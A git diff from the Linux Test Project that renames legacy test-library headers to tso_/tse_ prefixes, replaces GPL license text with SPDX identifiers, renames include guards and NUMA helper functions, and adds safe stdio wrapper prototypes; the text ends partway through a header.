b/ltp/include/old/test.h index 306868fb..9b0fa016 100644 --- a/ltp/include/old/test.h +++ b/ltp/include/old/test.h @@ -18,21 +18,21 @@ #include #include -#include "usctest.h" +#include "tso_usctest.h" #include "tst_common.h" -#include "old_safe_file_ops.h" -#include "old_checkpoint.h" +#include "tso_safe_file_ops.h" +#include "tso_checkpoint.h" #include "tst_process_state.h" -#include "old_resource.h" +#include "tso_resource.h" #include "tst_res_flags.h" #include "tst_kvercmp.h" #include "tst_fs.h" #include "tst_pid.h" #include "tst_cmd.h" #include "tst_cpu.h" -#include "old_device.h" -#include "old_tmpdir.h" +#include "tso_device.h" +#include "tso_tmpdir.h" #include "tst_minmax.h" #include "tst_get_bad_addr.h" #include "tst_path_has_mnt_flags.h" @@ -116,7 +116,7 @@ void tst_brkm__(const char *file, const int lineno, int ttype, __attribute__ ((format (printf, 5, 6))) LTP_ATTRIBUTE_NORETURN; #ifdef LTPLIB -# include "ltp_priv.h" +# include "tso_priv.h" # define tst_brkm(flags, cleanup, fmt, ...) do { \ if (tst_test) \ tst_brk_(__FILE__, __LINE__, flags, fmt, ##__VA_ARGS__); \ diff --git a/ltp/include/old/old_checkpoint.h b/ltp/include/old/tso_checkpoint.h similarity index 46% rename from ltp/include/old/old_checkpoint.h rename to ltp/include/old/tso_checkpoint.h index f91fef9f..7b44e6af 100644 --- a/ltp/include/old/old_checkpoint.h +++ b/ltp/include/old/tso_checkpoint.h @@ -1,33 +1,20 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2015-2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ - /* - - Checkpoint - easy to use parent-child synchronization. - - Checkpoint is based on futexes (man futex). The library allocates a page of - shared memory for futexes and the id is an offset to it which gives the user - up to page_size/sizeof(uint32_t) checkpoint pairs. Up to INT_MAX processes - can sleep on single id and can be woken up by single wake. - - */ +/* + * Checkpoint - easy to use parent-child synchronization. + * + * Checkpoint is based on futexes (man futex). The library allocates a page of + * shared memory for futexes and the id is an offset to it which gives the user + * up to page_size/sizeof(uint32_t) checkpoint pairs. Up to INT_MAX processes + * can sleep on single id and can be woken up by single wake. + */ -#ifndef OLD_CHECKPOINT__ -#define OLD_CHECKPOINT__ +#ifndef TSO_CHECKPOINT__ +#define TSO_CHECKPOINT__ #include "test.h" #include "tst_checkpoint_fn.h" @@ -48,4 +35,4 @@ tst_safe_checkpoint_wake(__FILE__, __LINE__, cleanup_fn, id, 1); \ tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id, 0); -#endif /* OLD_CHECKPOINT__ */ +#endif /* TSO_CHECKPOINT__ */ diff --git a/ltp/include/old/ltp_cpuid.h b/ltp/include/old/tso_cpuid.h similarity index 100% rename from ltp/include/old/ltp_cpuid.h rename to ltp/include/old/tso_cpuid.h diff --git a/ltp/include/old/old_device.h b/ltp/include/old/tso_device.h similarity index 74% rename from ltp/include/old/old_device.h rename to ltp/include/old/tso_device.h index a6e9fea8..7081c554 100644 --- a/ltp/include/old/old_device.h +++ b/ltp/include/old/tso_device.h @@ -1,22 +1,11 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014-2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ -#ifndef OLD_DEVICE_H__ -#define OLD_DEVICE_H__ +#ifndef TSO_DEVICE_H__ +#define TSO_DEVICE_H__ /* * Returns filesystem type to be used for the testing. Unless your test is @@ -81,4 +70,4 @@ int tst_detach_device(const char *dev); */ int tst_umount(const char *path); -#endif /* OLD_DEVICE_H__ */ +#endif /* TSO_DEVICE_H__ */ diff --git a/ltp/include/old/tlibio.h b/ltp/include/old/tso_lio.h similarity index 79% rename from ltp/include/old/tlibio.h rename to ltp/include/old/tso_lio.h index 0fe9ce9d..14a01dfd 100644 --- a/ltp/include/old/tlibio.h +++ b/ltp/include/old/tso_lio.h @@ -1,33 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * Copyright (c) Linux Test Project, 2026 */ #define LIO_IO_SYNC 00001 /* read/write */ diff --git a/ltp/include/old/old_module.h b/ltp/include/old/tso_module.h similarity index 68% rename from ltp/include/old/old_module.h rename to ltp/include/old/tso_module.h index f49c9937..9072acc0 100644 --- a/ltp/include/old/old_module.h +++ b/ltp/include/old/tso_module.h @@ -1,35 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved. - * Copyright (c) Linux Test Project, 2016-2024 - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation; either version 2 of - * the License, or (at your option) any later version. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - * - * Author: - * Alexey Kodanev - * - * These functions help to load and unload kernel modules in the tests. - * - * tst_module_load function already includes tst_module_exists function, - * which is checking the following possible module's locations: - * - * 1. Current working directory - * - * 2. LTP installation path (using env LTPROOT, which is usually /opt/ltp) - * - * 3. If tmp directory created, it'll look at the test start working directory - * + * Copyright (c) Linux Test Project, 2026 */ #ifndef TST_MODULE diff --git a/ltp/include/old/ltp_priv.h b/ltp/include/old/tso_priv.h similarity index 62% rename from ltp/include/old/ltp_priv.h rename to ltp/include/old/tso_priv.h index 0a0ef70f..ed09fdbc 100644 --- a/ltp/include/old/ltp_priv.h +++ b/ltp/include/old/tso_priv.h @@ -1,22 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2013 Cyril Hrubis chrubis@suse.cz - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version 2 - * of the License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. + * Copyright (c) Linux Test Project, 2026 */ #ifndef __LTP_PRIV_H__ diff --git a/ltp/include/old/random_range.h b/ltp/include/old/tso_random_range.h similarity index 32% rename from ltp/include/old/random_range.h rename to ltp/include/old/tso_random_range.h index 22b3f932..90064f9b 100644 --- a/ltp/include/old/random_range.h +++ b/ltp/include/old/tso_random_range.h @@ -1,34 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * Copyright (c) Linux Test Project, 2026 */ + #ifndef _RANDOM_RANGE_H_ #define _RANDOM_RANGE_H_ diff --git a/ltp/include/old/tso_resource.h b/ltp/include/old/tso_resource.h new file mode 100644 index 00000000..b5291477 --- /dev/null +++ b/ltp/include/old/tso_resource.h @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2012 Cyril Hrubis chrubis@suse.cz + * Copyright (c) Linux Test Project, 2026 + */ + + /* + * Small helper for preparing files the test needs to copy before the testing. + * We need to support two scenarios. + * + * 1. Test is executed in local directory and this is also the place + * we should look for files + * + * 2. Test is executed after LTP has been installed, in this case we + * look for env LTPROOT (usually /opt/ltp/) + */ + +#ifndef TST_RESOURCE +#define TST_RESOURCE + +const char *tst_dataroot(void); + +/* + * Copy a file to the CWD. The destination is apended to CWD. + */ +#define TST_RESOURCE_COPY(cleanup_fn, filename, dest) \ + tst_resource_copy(__FILE__, __LINE__, (cleanup_fn), \ + (filename), (dest)) + +void tst_resource_copy(const char *file, const int lineno, + void (*cleanup_fn)(void), + const char *filename, const char *dest); + +#endif /* TST_RESOURCE */ diff --git a/ltp/include/old/old_safe_file_ops.h b/ltp/include/old/tso_safe_file_ops.h similarity index 70% rename from ltp/include/old/old_safe_file_ops.h rename to ltp/include/old/tso_safe_file_ops.h index d6e2d29a..1ddfad96 100644 --- a/ltp/include/old/old_safe_file_ops.h +++ b/ltp/include/old/tso_safe_file_ops.h @@ -1,28 +1,15 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2012-2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ /* - This code helps with file reading/writing files providing scanf/printf like interface that opens and closes the file automatically. This kind of interface is especially useful for reading/writing values from/to pseudo filesystems like procfs or sysfs. - */ #ifndef SAFE_FILE_OPS diff --git a/ltp/include/old/safe_macros.h b/ltp/include/old/tso_safe_macros.h similarity index 98% rename from ltp/include/old/safe_macros.h rename to ltp/include/old/tso_safe_macros.h index 307843ab..f3965cc6 100644 --- a/ltp/include/old/safe_macros.h +++ b/ltp/include/old/tso_safe_macros.h @@ -1,3 +1,8 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Linux Test Project, 2026 + */ + /* * Safe macros for commonly used syscalls to reduce code duplication in LTP * testcases, and to ensure all errors are caught in said testcases as @@ -6,7 +11,6 @@ * Also satiates some versions of gcc/glibc when the warn_unused_result * attribute is applied to the function call. * - * Licensed under the GPLv2. */ #ifndef __TEST_H__ @@ -17,8 +21,8 @@ #define __SAFE_MACROS_H__ #include "safe_macros_fn.h" -#include "old_safe_stdio.h" -#include "old_safe_net.h" +#include "tso_safe_stdio.h" +#include "tso_safe_net.h" #define SAFE_BASENAME(cleanup_fn, path) \ safe_basename(__FILE__, __LINE__, (cleanup_fn), (path)) diff --git a/ltp/include/old/old_safe_net.h b/ltp/include/old/tso_safe_net.h similarity index 58% rename from ltp/include/old/old_safe_net.h rename to ltp/include/old/tso_safe_net.h index 639094a9..2513dc39 100644 --- a/ltp/include/old/old_safe_net.h +++ b/ltp/include/old/tso_safe_net.h @@ -1,23 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2015 Fujitsu Ltd. * Copyright (c) 2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ -#ifndef OLD_SAFE_NET_H__ -#define OLD_SAFE_NET_H__ +#ifndef TSO_SAFE_NET_H__ +#define TSO_SAFE_NET_H__ #include #include @@ -47,4 +36,4 @@ #define TST_GET_UNUSED_PORT(cleanup_fn, family, type) \ tst_get_unused_port(__FILE__, __LINE__, (cleanup_fn), family, type) -#endif /* OLD_SAFE_NET_H__ */ +#endif /* TSO_SAFE_NET_H__ */ diff --git a/ltp/include/old/old_safe_stdio.h b/ltp/include/old/tso_safe_stdio.h similarity index 42% rename from ltp/include/old/old_safe_stdio.h rename to ltp/include/old/tso_safe_stdio.h index 3508b247..efda431a 100644 --- a/ltp/include/old/old_safe_stdio.h +++ b/ltp/include/old/tso_safe_stdio.h @@ -1,22 +1,11 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2013-2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ -#ifndef OLD_SAFE_STDIO_H__ -#define OLD_SAFE_STDIO_H__ +#ifndef TSO_SAFE_STDIO_H__ +#define TSO_SAFE_STDIO_H__ #include @@ -34,4 +23,4 @@ #define SAFE_POPEN(cleanup_fn, command, type) \ safe_popen(__FILE__, __LINE__, cleanup_fn, command, type) -#endif /* OLD_SAFE_STDIO_H__ */ +#endif /* TSO_SAFE_STDIO_H__ */ diff --git a/ltp/include/old/ltp_signal.h b/ltp/include/old/tso_signal.h similarity index 41% rename from ltp/include/old/ltp_signal.h rename to ltp/include/old/tso_signal.h index 02ee8349..d29cb790 100644 --- a/ltp/include/old/ltp_signal.h +++ b/ltp/include/old/tso_signal.h @@ -1,29 +1,11 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2009 Cisco Systems, Inc. All Rights Reserved. * Copyright (c) 2009 FUJITSU LIMITED. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Copyright (c) Linux Test Project, 2026 * * Author: Liu Bo * Author: Ngie Cooper - * */ #ifndef __LTP_SIGNAL_H diff --git a/ltp/include/old/old_tmpdir.h b/ltp/include/old/tso_tmpdir.h similarity index 62% rename from ltp/include/old/old_tmpdir.h rename to ltp/include/old/tso_tmpdir.h index 3e33bf04..3187d430 100644 --- a/ltp/include/old/old_tmpdir.h +++ b/ltp/include/old/tso_tmpdir.h @@ -1,22 +1,11 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2016 Cyril Hrubis - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . + * Copyright (c) Linux Test Project, 2026 */ -#ifndef OLD_TMPDIR_H__ -#define OLD_TMPDIR_H__ +#ifndef TSO_TMPDIR_H__ +#define TSO_TMPDIR_H__ /* * Create a unique temporary directory and chdir() to it. It expects the caller @@ -58,4 +47,4 @@ int tst_tmpdir_created(void); /* declared in tst_tmpdir.c */ const char *tst_get_startwd(void); -#endif /* OLD_TMPDIR_H__ */ +#endif /* TSO_TMPDIR_H__ */ diff --git a/ltp/include/old/usctest.h b/ltp/include/old/tso_usctest.h similarity index 54% rename from ltp/include/old/usctest.h rename to ltp/include/old/tso_usctest.h index b984c343..342c03d5 100644 --- a/ltp/include/old/usctest.h +++ b/ltp/include/old/tso_usctest.h @@ -1,38 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Author: William Roske - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * Copyright (c) Linux Test Project, 2026 */ -#ifndef __USCTEST_H__ -#define __USCTEST_H__ +#ifndef TSO_USCTEST_H__ +#define TSO_USCTEST_H__ /* For PATH_MAX */ #include @@ -80,4 +54,4 @@ int usc_global_setup_hook(); #define TEST_LOOPING usc_test_looping int usc_test_looping(int counter); -#endif /* __USCTEST_H__ */ +#endif /* TSO_USCTEST_H__ */ diff --git a/ltp/include/safe_stdio_fn.h b/ltp/include/safe_stdio_fn.h index 3818a865..255a8594 100644 --- a/ltp/include/safe_stdio_fn.h +++ b/ltp/include/safe_stdio_fn.h @@ -32,4 +32,25 @@ int safe_asprintf(const char *file, const int lineno, void (cleanup_fn)(void), FILE *safe_popen(const char *file, const int lineno, void (cleanup_fn)(void), const char *command, const char *type); +size_t safe_fread(const char *file, const int lineno, + void *ptr, size_t size, size_t n, FILE *stream); + +size_t safe_fwrite(const char *file, const int lineno, + const void *ptr, size_t size, size_t n, FILE *stream); + +FILE *safe_freopen(const char *file, const int lineno, + const char *path, const char *mode, FILE *stream); + +int safe_fseek(const char *file, const int lineno, + FILE *f, long offset, int whence); + +long safe_ftell(const char *file, const int lineno, + FILE *f); + +int safe_fileno(const char *file, const int lineno, + FILE *stream); + +int safe_fflush(const char *file, const int lineno, + FILE *stream); + #endif /* SAFE_STDIO_FN_H__ */ diff --git a/ltp/include/ipcmsg.h b/ltp/include/tse_ipcmsg.h similarity index 52% rename from ltp/include/ipcmsg.h rename to ltp/include/tse_ipcmsg.h index 3b3fa32c..ff528644 100644 --- a/ltp/include/ipcmsg.h +++ b/ltp/include/tse_ipcmsg.h @@ -1,28 +1,15 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2026 */ /* - * ipcmsg.h - common definitions for the IPC message tests. + * tse_ipcmsg.h - common definitions for the IPC message tests. */ -#ifndef __IPCMSG_H -#define __IPCMSG_H 1 +#ifndef TSE_IPCMSG_H__ +#define TSE_IPCMSG_H__ 1 #include #include @@ -63,4 +50,4 @@ int getuserid(char *); int get_max_msgqueues(void); int get_used_msgqueues(void); -#endif /* ipcmsg.h */ +#endif /* tse_ipcmsg.h */ diff --git a/ltp/include/ipcsem.h b/ltp/include/tse_ipcsem.h similarity index 36% rename from ltp/include/ipcsem.h rename to ltp/include/tse_ipcsem.h index 09a0b3cb..47e354ec 100644 --- a/ltp/include/ipcsem.h +++ b/ltp/include/tse_ipcsem.h @@ -1,28 +1,15 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2026 */ /* - * ipcsem.h - common definitions for the IPC semaphore tests + * tse_ipcsem.h - common definitions for the IPC semaphore tests */ -#ifndef __IPCSEM_H -#define __IPCSEM_H +#ifndef TSE_IPCSEM_H__ +#define TSE_IPCSEM_H__ #include #include @@ -52,4 +39,4 @@ void rm_sema(int sem_id); int getipckey(); int getuserid(char *); -#endif /* ipcsem.h */ +#endif /* libipcsem.h */ diff --git a/ltp/include/libmsgctl.h b/ltp/include/tse_msgctl.h similarity index 38% rename from ltp/include/libmsgctl.h rename to ltp/include/tse_msgctl.h index e1afeab5..e3417f50 100644 --- a/ltp/include/libmsgctl.h +++ b/ltp/include/tse_msgctl.h @@ -1,24 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2002 * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation; either version 2 of - * the License, or (at your option) any later version. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) Linux Test Project, 2026 */ -#ifndef __LIBMSGCTL_H__ -#define __LIBMSGCTL_H__ +#ifndef TSE_MSGCTL_H__ +#define TSE_MSGCTL_H__ #define FAIL 1 #define PASS 0 @@ -36,4 +24,4 @@ int dowriter(long key, int tid, long type, int child, int nreps); int fill_buffer(char *buf, char val, int size); int verify(char *buf, char val, int size, int child); -#endif /*__LIBMSGCTL_H__ */ +#endif /* TSE_MSGCTL_H__ */ diff --git a/ltp/include/libnewipc.h b/ltp/include/tse_newipc.h similarity index 62% rename from ltp/include/libnewipc.h rename to ltp/include/tse_newipc.h index 969c9329..1d3bbd12 100644 --- a/ltp/include/libnewipc.h +++ b/ltp/include/tse_newipc.h @@ -1,26 +1,15 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2016 Xiao Yang - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. + * Copyright (c) Linux Test Project, 2026 */ /* * common definitions for the IPC system calls. */ -#ifndef __LIBNEWIPC_H -#define __LIBNEWIPC_H 1 +#ifndef TSE_NEWIPC_H__ +#define TSE_NEWIPC_H__ 1 #include #include @@ -60,4 +49,4 @@ void *probe_free_addr(const char *file, const int lineno); #define PROBE_FREE_ADDR() \ probe_free_addr(__FILE__, __LINE__) -#endif /* newlibipc.h */ +#endif /* tse_newipc.h */ diff --git a/ltp/include/tst_numa.h b/ltp/include/tse_numa.h similarity index 60% rename from ltp/include/tst_numa.h rename to ltp/include/tse_numa.h index a1f96163..839512b2 100644 --- a/ltp/include/tst_numa.h +++ b/ltp/include/tse_numa.h @@ -2,81 +2,81 @@ * Copyright (c) 2018 Cyril Hrubis */ -#ifndef TST_NUMA_H__ -#define TST_NUMA_H__ +#ifndef TSE_NUMA_H__ +#define TSE_NUMA_H__ #include /** - * struct tst_nodemap - Numa nodemap. + * struct tse_nodemap - Numa nodemap. * * @cnt: Number of nodes in map. * @counters: Page allocation counters. * @map: Array of numa ids. */ -struct tst_nodemap { +struct tse_nodemap { unsigned int cnt; unsigned int *counters; unsigned int map[]; }; /** - * tst_nodemap_reset_counters() - Clears numa counters. The counters are lazy-allocated on first call of this function. + * tse_nodemap_reset_counters() - Clears numa counters. The counters are lazy-allocated on first call of this function. * * @nodes: Numa nodemap. */ -void tst_nodemap_reset_counters(struct tst_nodemap *nodes); +void tse_nodemap_reset_counters(struct tse_nodemap *nodes); /** - * tst_nodemap_print_counters() - Prints pages allocated per each node. + * tse_nodemap_print_counters() - Prints pages allocated per each node. * * @nodes: Numa nodemap. */ -void tst_nodemap_print_counters(struct tst_nodemap *nodes); +void tse_nodemap_print_counters(struct tse_nodemap *nodes); /** - * tst_mempolicy_mode_name() - Returns a name for a mempolicy/mbind mode. + * tse_mempolicy_mode_name() - Returns a name for a mempolicy/mbind mode. * * @mode: Numa mempolicy mode. * * return: a name for a mempolicy/mbind mode. */ -const char *tst_mempolicy_mode_name(int mode); +const char *tse_mempolicy_mode_name(int mode); /** - * tst_numa_map() - Maps pages into memory, if path is NULL the mapping is anonymous otherwise is backed by the file. + * tse_numa_map() - Maps pages into memory, if path is NULL the mapping is anonymous otherwise is backed by the file. * * @path: Path to a file, if not NULL mapping is file based. * @size: Mapping size. * * return: a pointer to a mapped file. */ -void *tst_numa_map(const char *path, size_t size); +void *tse_numa_map(const char *path, size_t size); /** - * tst_numa_fault() - Writes to memory in order to get the pages faulted. + * tse_numa_fault() - Writes to memory in order to get the pages faulted. * * @ptr: Start of the mapping. * @size: Size of the mapping. */ -static inline void tst_numa_fault(void *ptr, size_t size) +static inline void tse_numa_fault(void *ptr, size_t size) { memset(ptr, 'a', size); } /** - * tst_numa_unmap() - Frees the memory. + * tse_numa_unmap() - Frees the memory. * * @ptr: Start of the mapping. * @size: Size of the mapping. */ -static inline void tst_numa_unmap(void *ptr, size_t size) +static inline void tse_numa_unmap(void *ptr, size_t size) { SAFE_MUNMAP(ptr, size); } /** - * tst_nodemap_count_pages() - Check which numa node resides each page. + * tse_nodemap_count_pages() - Check which numa node resides each page. * * Check on which numa node resides each page of the mapping starting at ptr * and continuing pages long and increases nodemap counters accordingly. @@ -85,28 +85,28 @@ static inline void tst_numa_unmap(void *ptr, size_t size) * @ptr: Pointer to start of a mapping. * @size: Size of the mapping. */ -void tst_nodemap_count_pages(struct tst_nodemap *nodes, void *ptr, size_t size); +void tse_nodemap_count_pages(struct tse_nodemap *nodes, void *ptr, size_t size); /** - * tst_nodemap_free() - Frees nodemap. + * tse_nodemap_free() - Frees nodemap. * * @nodes: Numa nodemap to be freed. */ -void tst_nodemap_free(struct tst_nodemap *nodes); +void tse_nodemap_free(struct tse_nodemap *nodes); /** - * enum tst_numa_types - Bitflags for tst_get_nodemap() function. + * enum tse_numa_types 